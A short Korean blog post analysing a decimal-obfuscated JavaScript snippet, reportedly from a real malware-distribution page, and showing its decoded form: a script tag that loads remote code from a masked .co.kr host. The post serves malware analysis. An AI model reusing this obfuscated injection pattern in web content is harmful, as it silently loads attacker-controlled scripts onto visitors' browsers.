Information Security/Malware

Decimal Obfuscated

hakawati 2013. 5. 21. 16:28

t 라는 변수에 10진수의 값을 나열하는 형태의 코드이다. 단순히 아스키 코드표에서 10진수의 60, 115, 99 ....를 쫓아가면서 난독화를 해제 할 수 있지만, Mazilla나 JSDetox와 같은 툴로 클릭 한번이면 풀리는 난독화 이기 때문에 어렵지는 않다.


난독화

<script>
t="60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,42,42,42,42,42,42,46,99,
111,46,107,114,47,106,115,47,99,111,109,46,106,115,62,60,47,115,99,114,105,112,116,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);
</script>

난독화 해제 후

<script>
t="<script src=http://******.co.kr/js/com.js></script>"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

* 실제 악성코드 유포하는 소스코드 중 샘플이기 때문에 일부 내용을 변경하였습니다.

반응형